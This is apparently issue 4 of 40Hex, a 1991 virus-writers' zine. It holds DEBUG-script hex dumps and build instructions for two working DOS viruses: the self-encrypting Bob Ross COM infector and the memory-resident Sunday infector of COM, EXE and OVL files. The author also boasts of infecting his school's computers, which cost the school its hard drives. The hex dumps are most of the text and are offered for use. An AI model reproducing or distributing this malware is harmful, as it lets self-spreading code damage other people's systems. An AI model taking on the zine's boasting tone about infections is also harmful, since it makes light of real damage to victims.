HPAVC/HPAVC CD-ROM.iso/40HEXX.ZIP/40HEX004

Text File | 1998-01-21 | 93KB | 2,557 lines

40Hex Issue 4                                            December 1991


                                 Index
                                 -----


001.....................................................USA Virus News
002.................................................The Bob Ross virus
003...................................................The Sunday Virus
004...................................................The Terror Virus
005...............................................Virus Survay Artical
006.................................................The Typo COM virus
007.....................................................From Johns BBS
008.................................................The Marauder Virus
009................................................Pklite Scan Strings
010...............................................Encryption Defeating
011...............................................The Ultimate Toolkit
012..............................................Tequilla Virus Source
013...................................................................
014...................................................Is This The End?


Thanks to:
           Shade of Sorrow, Demogorgon, Dark Angel, Count Zero,
           Piff', Paragon Dude (and the rest of Phalcon), Blade Runner,
           The Fisch, Instigator, Decimator, Dr. Logic, Venom/Hate (and
           all the QSD/Lutz crowd), God, Amiga Factor, all the people
           from the city, and all I forgot...


40Hex Issue 4                                            December 1991

                               Whats New
                               ---------

     Well a lot of things been going on this month.  Well I've been
     really lazy lately and haven't gotten around to writing this issue
     for over two months I guess.  Well let me tell you whats been going
     on.

     Let me take the time now to address these lame fucking people who,
     if they had 9600+ modems, would be wares puppies, but being they
     have a 2400 they decide to practice there leeching habits on
     viruses.  They are the virus collectors, they ones who never run
     the damn things, just add them to there collection and upload them
     here and there to be really, as they say, "K-K00\_."  Please
     mother fuckers, stop.  I mean look at the Red Cross virus, does
     anyone have the real copy of it?  Some lame ass collector found
     something that scanned as Red-X and was "/> a |)" enough to upload
     it everywhere.  Please, give it up.  Virus BBS's are a great thing,
     and without them we would be lost, but by the same tolken these
     collectors, or as someone once said, "Micro-Wares Puppies," must
     get with the program or die.

     Well second of all, I've been calling The Homebase quite a bit
     lately and came to one conclusion, people are dumb.  Look in this
     issue for some scroll backs of stupid things people have posted on
     that BBS this month or so.

     The Bob Ross virus has been released in the mist, so watch what you
     D/L.  Hmmmm, I think SCAN 85 caught it, but that will change soon,
     right DA?

     Funny story.  I infected my schools computer with several viruses
     before I transferred out.  Well what I heard happened from that is
     this.  They somehow could not get the viruses to dissapper no
     matter what they did.  Incedently it was Whale and some other
     viruses. Anyway, out of the fustration of the viruses reappering
     all the time, they decided to out and get rid of all the hard
     drives.  So they removed all the hard drives from all the systems
     and put them in storage.  Anyway, they finally got a virus expert
     to come it, he said that they didn't have to get rid of the hard
     drives he can rid the viruses.  Well to late.  The art department
     had got a hold of them and wealded them together into one big
     statue!  Thousands of dollars worth of hardware down they drain.
     The school was so embarressed at the whole thing they shipped the
     statue way out of state where so everybody would soon forget this
     screwup.  Thanks to Shade of Sorrow for finding that one out for
     me.

     SCAN 85 _is_ out, 'nuff said.

     Bet you all heard the story about Novell and Stoned III?  If not
     this is the run down.  Novell got infected by Stoned III.  Novell
     distributed infected copies of the December update to everyone.
     That's the story.

40Hex Issue 4                                            December 1991

                           The Bob Ross Virus

This is the infamous Bob Ross virus by Dark Angel of Phalcon/Skism.

Here's a bit from the author first.

 The Funky Bob Ross Virus Version 1.0
 Written by Dark Angel / 26 September 1991 / (c) 1991
 PHALCON/SKISM Co-op
 Effective length: 1125, Resident length: 672 bytes

 DEDICATION:
   This virus was written expressedly to
      1) Piss off Patty Hoffman, John McAffee, Ross Greenberg, and all the
         other guru-wanna-bes in this world.
      2) Spread the message of The Almighty Bob, and so enrichen the lives
         of people all over the world.
      3) Show off (Now I can tell people that I wrote a virus!)

 WHAT THIS IS:
   This is a self-encrypting, non-overwriting COM infector.  It doesn't do
   anything to EXE files.  File sizes increase by 1117 bytes.  It goes off
   on July 9th of any year or after 7 infection "waves."

 WHAT IT DOES WHEN IT GOES OFF:
   The virus goes memory resident and prints out a Bobism every 5 minutes.
   It then enters a delay loop for approximately 5 seconds, allowing for a
   brief moment of silence while the victim reads Bob's holy message.  The
   virus will not destroy anything.  The virus will not go TSR if it finds
   another copy of itself in memory.


 Well, here it is, the hex dump, by now you should know how to compile
 it from the hex dump.

-------------------------------------------------------------------------------
n bob-ross.com
e 0100  FF 26 04 01 D0 08 C8 07 00 00 00 00 00 00 00 00
e 0110  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0120  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0130  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0140  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0150  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0160  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0170  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0180  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0190  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 01A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 01B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 01C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 01D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 01E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 01F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0200  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0210  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0220  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0230  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0240  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0250  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0260  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0270  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0280  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0290  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 02A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 02B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 02C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 02D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 02E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 02F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0300  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0310  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0320  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0330  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0340  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0350  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0360  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0370  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0380  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0390  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0400  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0410  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0420  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0430  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0440  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0450  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0460  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0470  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0480  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0490  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0500  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0510  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0520  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0530  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0540  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0550  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0560  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0570  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0580  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0590  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 05A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 05B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 05C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 05D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 05E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 05F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0600  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0610  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0620  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0630  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0640  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0650  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0660  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0670  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0680  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0690  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 06A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 06B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 06C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 06D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 06E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 06F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0700  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0710  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0720  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0730  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0740  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0750  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0760  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0770  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0780  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0790  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 07A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 07B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 07C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 07D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 07E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 07F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0800  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0810  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0820  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0830  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0840  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0850  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0860  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0870  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0880  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0890  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 08A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 08B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 08C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 CD 20
e 08D0  FC E8 0A 00 BE D3 01 03 36 06 01 FF E6 B6 BE 15
e 08E0  01 03 36 06 01 8A 24 B9 23 04 83 C6 2D 90 8B FE
e 08F0  AC 32 C4 AA E2 FA C3 56 E8 E3 FF B9 5D 04 5A 83
e 0900  C2 B5 90 B4 40 CD 21 E8 D4 FF 75 5F 7D B1 B6 B6
e 0910  B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6
e 0920  B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6
e 0930  B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6
e 0940  B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6
e 0950  B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 EA
e 0960  B6 9C 98 D5 D9 DB B6 9C 98 9C B6 98 98 B6 B6 B6
e 0970  B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6
e 0980  B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6
e 0990  B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 37 70 C6 49 3D
e 09A0  48 35 71 BE 0F BE B6 45 12 02 F1 84 64 35 70 BC
e 09B0  7B 97 C4 9C 02 8D 3D 60 35 74 F4 7B 97 C4 A9 35
e 09C0  70 F6 48 B2 E0 35 70 B7 70 B2 B5 5E A9 B6 E8 36
e 09D0  8A B1 CB BB 02 9C 7B 97 37 4C BF B1 C2 B5 5F A0
e 09E0  B4 5F 11 B7 B6 B6 B6 B6 B6 B6 B6 B6 B6 E3 3D 5A
e 09F0  35 5A 9A E0 5D C6 26 02 AC 3B E0 62 7B 97 02 F8
e 0A00  0F A6 B6 0C 29 B7 B5 A0 B0 B7 7B 97 5D 90 36 C8
e 0A10  44 98 C2 A3 3B E0 44 02 8D 7B 97 C4 BA 08 10 B7
e 0A20  B5 80 B0 B7 49 B2 5E 72 49 3B E0 62 02 AC 7B 97
e 0A30  02 F9 7B 97 C5 6E 08 10 B7 B5 80 B0 B7 35 8A B6
e 0A40  C8 BB 49 BA 0C 15 B7 B5 A0 B0 B7 02 8D 7B 97 E8
e 0A50  3D 53 EB 75 5F 16 B7 08 10 B7 B5 80 B0 B7 71 B2
e 0A60  B6 B6 5D 5D 5D 27 02 AC 0C 1E B7 B5 A0 B0 B7 7B
e 0A70  97 02 F8 0F B1 B6 0C 2F B7 B5 A0 B0 B7 7B 97 C4
e 0A80  55 5D A4 26 08 20 B7 B5 80 B0 B7 48 BA C2 7E 02
e 0A90  F9 7B 97 C4 79 08 7A B7 B5 80 B0 B7 36 8A F2 C2
e 0AA0  58 0E B6 8B 3D 60 35 5C B0 7B 97 C4 54 25 02 89
e 0AB0  0F BE B6 0C F5 B7 B5 A0 B0 B7 E4 7B 97 E8 E0 1B
e 0AC0  8B 49 90 C3 A2 1B 8B B2 B7 C3 B8 E8 02 88 7B 97
e 0AD0  5D 0B E6 FE F7 FA F5 F9 F8 E8 35 70 CC 3D 48 35
e 0AE0  71 E9 12 13 13 13 35 CA 48 BE 26 CA 69 02 9A 7B
e 0AF0  97 B4 60 C2 4E 08 A3 B7 B5 80 B0 B7 3E A2 0E B7
e 0B00  F5 85 7F 3D 60 37 74 07 B6 7B 97 02 88 7B 97 0E
e 0B10  B4 8B 7B 97 C4 00 3D 4C 35 71 EB 1D 25 02 F6 0F
e 0B20  B2 B6 0C B6 B7 7B 97 02 F6 3D 41 35 70 4A 37 B2
e 0B30  B6 B7 0F B4 B6 3D 60 7B 97 3D B2 9B BE B7 37 70
e 0B40  84 49 E0 3F B2 02 F6 0F B4 B6 3D 60 7B 97 0E B4
e 0B50  F4 85 7F 85 64 7B 97 5E 2B 4B E8 37 70 66 B6 3D
e 0B60  AA 0E B7 E1 35 70 4C 3D BA 35 70 B4 3D A2 7B 97
e 0B70  02 88 7B 97 0E B7 F5 84 5B 35 70 4B 3C BA 3D 60
e 0B80  35 74 1C 7B 97 5F 4A 48 5D DB 26 B0 98 70 B0 B6
e 0B90  B7 B6 85 6D 3A 7E F5 38 75 8D 75 C2 B9 08 B6 B7
e 0BA0  3D 48 0F B2 B6 45 10 C3 5B 5D FD 26 B1 98 71 B0
e 0BB0  BE B7 16 A2 98 71 B0 A6 B7 B7 B6 08 E5 B2 B5 80
e 0BC0  B0 B7 09 A4 B7 0F A4 B7 45 12 0E BE 83 7B 97 98
e 0BD0  3F A8 B2 B7 98 3A B0 B0 B7 0E BE 93 0C A4 B7 7B
e 0BE0  97 B0 17 9A B6 38 76 02 FF 7B 97 B1 0E B6 87 0C
e 0BF0  9C B6 7B 97 7B 96 B1 02 8D 0C 21 B7 B5 A0 B0 B7
e 0C00  7B 97 02 8D 35 74 08 7B 97 3D 44 35 70 40 09 B6
e 0C10  B7 0F BE B6 45 12 09 B6 B7 49 51 E6 E5 E7 E4 E0
e 0C20  A8 B0 2A 98 49 B8 BE B7 C3 FB 98 71 B0 BE B7 26
e 0C30  B7 B8 A9 B8 B1 08 CD B7 98 3D B8 A6 B7 84 52 1A
e 0C40  B5 46 54 4D 1A 31 43 85 7F 3C 7E 0E B6 A5 0D C6
e 0C50  B6 85 64 7B A6 98 49 B0 A6 B7 98 35 88 A6 B7 B1
e 0C60  C3 B1 98 71 B0 A6 B7 B7 B6 0F 86 B6 E7 0F 49 49
e 0C70  54 48 EF 54 41 31 43 2B B1 A9 E8 EC EF ED EE 98
e 0C80  49 98 B2 B7 B6 B9 F4 D9 D4 96 E4 D9 C5 C5 96 DA
e 0C90  DF C0 D3 C5 97 A3 F4 D9 D4 96 E4 D9 C5 C5 96 DF
e 0CA0  C5 96 C1 D7 C2 D5 DE DF D8 D1 97 A0 FB D7 CF D4
e 0CB0  D3 96 DE D3 96 DA DF C0 D3 C5 96 DE D3 C4 D3 98
e 0CC0  98 98 AC E1 DE D7 C2 96 D7 96 DE D7 C6 C6 CF 96
e 0CD0  DA DF C2 C2 DA D3 96 D5 DA D9 C3 D2 97 90 FB D7
e 0CE0  CF D4 D3 96 DE D3 96 DE D7 C5 96 D7 96 D8 D3 DF
e 0CF0  D1 DE D4 D9 C3 C4 96 C4 DF D1 DE C2 96 DE D3 C4
e 0D00  D3 98 98 98 9E EF D9 C3 96 D5 D7 D8 96 DB D7 DD
e 0D10  D3 96 C3 C6 96 C5 C2 D9 C4 DF D3 C5 96 D7 C5 96
e 0D20  CF D9 C3 96 D1 D9 96 D7 DA D9 D8 D1 98 1A 1A 1A
rcx
C2D
w
q
--------------------------------------------------------------------------------

The virus itself is only 1125 bytes, this file is 3125 to account for an
infected file.

Scan 85 detects it as the [Beta] virus, but strain-b will be out soon.


40Hex Issue 4                                            December 1991


                             The Sunday Virus

        According to Patty Hoffman, the Sunday virus is based on the
Jerusalem viruses, because the codes for both viruses are similar.
Sunday infects COM, EXE, and OVL files, when they are executed, and it
stays resident in memory.  It was circulated around the Seattle,
Washington area in 1989, and is quite common.  Sunday can be picked up
by almost every scanner out there.  The SCAN ID code for this virus
is "CD 21 80 FC 04 75 10" in lines 01E0 and 01F0.
        This version of Sunday doesn't seem to print any messages on
the screen, however, some versions do, every Sunday.  This virus
spreads rapidly, and replicates quite well.


      To create SUNDAY.COM, cut out the following code, and name the
resulting file sunday.txt.  Then, use this command:  DEBUG < SUNDAY.TXT

                                                       --DecimatoR

-------------------------------------------------------------------------------
n sunday.com
e 0100  E9 92 00 59 57 C8 F7 E1 EE E7 00 01 4C 1E 00 00
e 0110  00 02 00 AB 00 0C 13 16 17 C7 02 BF 05 3A 1E 63
e 0120  79 00 00 00 00 00 00 00 00 00 00 00 00 00 E8 06
e 0130  5F BD 1D 80 00 00 00 80 00 BD 1D 5C 00 BD 1D 6C
e 0140  00 BD 1D 00 0A 95 22 29 00 00 00 00 F0 02 00 4D
e 0150  5A 87 01 14 01 ED 05 80 01 23 0B FF FF 8C 20 C0
e 0160  06 89 19 C6 00 8C 20 1E 00 00 00 00 00 00 00 00
e 0170  05 00 20 00 29 15 01 79 00 02 10 00 C0 20 02 00
e 0180  54 61 28 99 43 4F 4D 4D 41 4E 44 2E 43 4F 4D 01
e 0190  00 00 00 00 00 FC 06 B8 00 00 8E C0 26 A1 84 00
e 01A0  07 3D 4C 02 75 10 B4 DD BF 00 01 BE C2 06 03 F7
e 01B0  2E 8B 4D 11 CD 21 8C C8 05 10 00 8E D0 BC C0 06
e 01C0  50 B8 C6 00 50 CB FC 06 2E 8C 06 31 00 2E 8C 06
e 01D0  39 00 2E 8C 06 3D 00 2E 8C 06 41 00 8C C0 05 10
e 01E0  00 2E 01 06 49 00 2E 01 06 45 00 B4 FF CD 21 80
e 01F0  FC 04 75 10 07 2E 8E 16 45 00 2E 8B 26 43 00 2E
e 0200  FF 2E 47 00 33 C0 8E C0 BB FC 03 26 8B 07 2E A3
e 0210  4B 00 26 8A 47 02 2E A2 4D 00 26 C7 07 F3 A5 26
e 0220  C6 47 02 CB 58 05 10 00 8E C0 0E 1F B9 C2 06 D1
e 0230  E9 33 F6 8B FE 06 B8 3E 01 50 FF 2E 59 06 8C C8
e 0240  8E D0 BC C0 06 33 C0 8E D8 2E A1 4B 00 89 07 2E
e 0250  A0 4D 00 88 47 02 8B DC B1 04 D3 EB 83 C3 20 83
e 0260  E3 F0 2E 89 1E 33 00 B4 4A 2E 8E 06 31 00 CD 21
e 0270  B8 21 35 CD 21 2E 89 1E 17 00 2E 8C 06 19 00 0E
e 0280  1F BA 4C 02 B8 21 25 CD 21 8E 06 31 00 26 8E 06
e 0290  2C 00 33 FF B9 FF 7F 32 C0 F2 AE 26 38 05 E0 F9
e 02A0  8B D7 83 C2 03 B8 00 4B 06 1F 0E 07 BB 35 00 1E
e 02B0  06 50 53 51 52 B4 0F CD 10 3C 07 74 07 2E C7 06
e 02C0  4A 02 00 B8 B8 08 35 CD 21 2E 89 1E 13 00 2E 8C
e 02D0  06 15 00 0E 1F C7 06 1F 00 E0 79 B8 08 25 BA 0A
e 02E0  02 CD 21 5A 59 5B 58 07 1F 9C 2E FF 1E 17 00 1E
e 02F0  07 B4 49 CD 21 B4 4D CD 21 B4 31 BA C2 06 B1 04
e 0300  D3 EA 83 C2 10 CD 21 32 C0 CF 2E 83 3E 1F 00 00
e 0310  75 22 1E 06 56 57 50 8D 36 3E 02 0E 1F A1 4A 02
e 0320  8E C0 BF 00 00 FC A5 A5 A5 A5 A5 A5 58 5F 5E 07
e 0330  1F EB 06 90 2E FF 0E 1F 00 2E FF 2E 13 00 48 F0
e 0340  61 F0 21 F0 48 F0 61 F0 21 F0 00 B8 9C 80 FC FF
e 0350  75 05 B8 00 04 9D CF 80 FC DD 74 0E 3D 00 4B 75
e 0360  03 EB 21 90 9D 2E FF 2E 17 00 58 58 B8 00 01 2E
e 0370  A3 0A 00 58 2E A3 0C 00 F3 A4 9D 2E A1 0F 00 2E
e 0380  FF 2E 0A 00 2E C7 06 70 00 FF FF 2E C7 06 8F 00
e 0390  00 00 2E 89 16 80 00 2E 8C 1E 82 00 50 53 51 52
e 03A0  56 57 1E 06 FC 8B FA 32 D2 80 7D 01 3A 75 05 8A
e 03B0  15 80 E2 1F B4 36 CD 21 3D FF FF 75 03 E9 0F 03
e 03C0  F7 E3 F7 E1 0B D2 75 05 3D C2 06 72 F0 2E 8B 16
e 03D0  80 00 1E 07 32 C0 B9 41 00 F2 AE 2E 8B 36 80 00
e 03E0  8A 04 0A C0 74 0E 3C 61 72 07 3C 7A 77 03 80 2C
e 03F0  20 46 EB EC 2E 89 36 57 06 B9 0B 00 2B F1 BF 84
e 0400  00 0E 07 B9 0B 00 F3 A6 75 03 E9 C2 02 2E C6 06
e 0410  56 06 00 90 2E 8B 36 57 06 8D 3E 55 06 4F 4E 26
e 0420  8A 05 34 BB 3C 00 74 0D 3A 04 74 F1 2E C6 06 56
e 0430  06 01 90 EB E8 2E 80 3E 56 06 00 74 16 4F 26 80
e 0440  3D FF 74 2B 47 2E 8B 36 57 06 2E C6 06 56 06 00
e 0450  90 EB CA 07 1F 5F 5E 5A 59 5B 58 33 C9 B8 01 43
e 0460  CD 21 B4 41 CD 21 B8 00 4B 9D 2E FF 2E 17 00 B8
e 0470  00 43 CD 21 72 05 2E 89 0E 72 00 72 25 32 C0 2E
e 0480  A2 4E 00 1E 07 8B FA B9 41 00 F2 AE 80 7D FE 4D
e 0490  74 0B 80 7D FE 6D 74 05 2E FE 06 4E 00 B8 00 3D
e 04A0  CD 21 72 7C 2E A3 70 00 8B D8 B8 02 42 B9 FF FF
e 04B0  BA FB FF CD 21 72 EB 05 05 00 2E A3 11 00 B9 05
e 04C0  00 BA 6B 00 8C C8 8E D8 8E C0 B4 3F CD 21 8B FA
e 04D0  BE 05 00 F3 A6 74 22 B0 00 B9 00 00 BA 00 00 B4
e 04E0  42 CD 21 8D 16 DD 05 B9 14 00 B4 3F CD 21 81 3E
e 04F0  EF 05 89 19 75 0A E9 91 01 B4 3E CD 21 E9 CF 01
e 0500  B8 24 35 CD 21 89 1E 1B 00 8C 06 1D 00 BA 07 02
e 0510  B8 24 25 CD 21 C5 16 80 00 33 C9 B8 01 43 CD 21
e 0520  72 3B 2E 8B 1E 70 00 B4 3E CD 21 2E C7 06 70 00
e 0530  FF FF B8 02 3D CD 21 72 24 2E A3 70 00 8C C8 8E
e 0540  D8 8E C0 8B 1E 70 00 B8 00 57 CD 21 89 16 74 00
e 0550  89 0E 76 00 B8 00 42 33 C9 8B D1 CD 21 72 3E 80
e 0560  3E 4E 00 00 74 04 EB 5B 90 90 BB 00 10 B4 48 CD
e 0570  21 73 0B B4 3E 8B 1E 70 00 CD 21 E9 51 01 FF 06
e 0580  8F 00 8E C0 33 F6 8B FE B9 C2 06 F3 A4 8B D7 8B
e 0590  0E 11 00 8B 1E 70 00 06 1F B4 3F CD 21 72 1F 03
e 05A0  F9 33 C9 8B D1 B8 00 42 CD 21 BE 05 00 B9 05 00
e 05B0  1E 0E 1F F3 A4 1F 8B CF 33 D2 B4 40 CD 21 72 0D
e 05C0  E9 C7 00 B9 1C 00 BA 4F 00 B4 3F CD 21 72 4A C7
e 05D0  06 61 00 89 19 A1 5D 00 A3 45 00 A1 5F 00 A3 43
e 05E0  00 A1 63 00 A3 47 00 A1 65 00 A3 49 00 A1 53 00
e 05F0  83 3E 51 00 00 74 01 48 F7 26 78 00 03 06 51 00
e 0600  83 D2 00 05 0F 00 83 D2 00 25 F0 FF A3 7C 00 89
e 0610  16 7E 00 05 C7 06 83 D2 00 72 3A F7 36 78 00 0B
e 0620  D2 74 01 40 A3 53 00 89 16 51 00 A1 7C 00 8B 16
e 0630  7E 00 F7 36 7A 00 2B 06 57 00 A3 65 00 C7 06 63
e 0640  00 C6 00 A3 5D 00 C7 06 5F 00 C0 06 33 C9 8B D1
e 0650  B8 00 42 CD 21 72 0A B9 1C 00 BA 4F 00 B4 40 CD
e 0660  21 72 11 3B C1 75 23 8B 16 7C 00 8B 0E 7E 00 B8
e 0670  00 42 CD 21 72 14 33 D2 B9 C2 06 B4 40 CD 21 B9
e 0680  05 00 8D 16 05 00 B4 40 CD 21 2E 83 3E 8F 00 00
e 0690  74 04 B4 49 CD 21 2E 83 3E 70 00 FF 74 31 2E 8B
e 06A0  1E 70 00 2E 8B 16 74 00 2E 8B 0E 76 00 B8 01 57
e 06B0  CD 21 B4 3E CD 21 0E 1F C5 16 80 00 2E 8B 0E 72
e 06C0  00 B8 01 43 CD 21 8D 16 1B 00 B8 24 25 CD 21 07
e 06D0  1F 5F 5E 5A 59 5B 58 9D 2E FF 2E 17 00 CD 20 BA
e 06E0  00 11 01 ED 05 80 01 23 0B FF FF 95 22 00 0A D5
e 06F0  44 00 00 00 00 00 00 00 00 00 00 FF BB F9 FA E8
e 0700  F2 F8 FA 95 FE E3 FE BB F8 EE E9 FE 95 FE E3 FE
e 0710  BB F7 F4 EF EE E8 95 F8 F4 F6 BB F8 EC F2 95 FE
e 0720  E3 FE BB FE EF F9 FA E8 F2 F8 95 FE E3 FE BB F9
e 0730  FA E8 F2 F8 FA 95 F8 F4 F6 BB 8A 89 88 95 FE E3
e 0740  FE BB FF F9 FA E8 FE 95 FE E3 FE BB F9 FA E8 F2
e 0750  F8 95 F8 F4 F6 BB 01 68 61 FC 03 00 00 00 00 00
e 0760  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
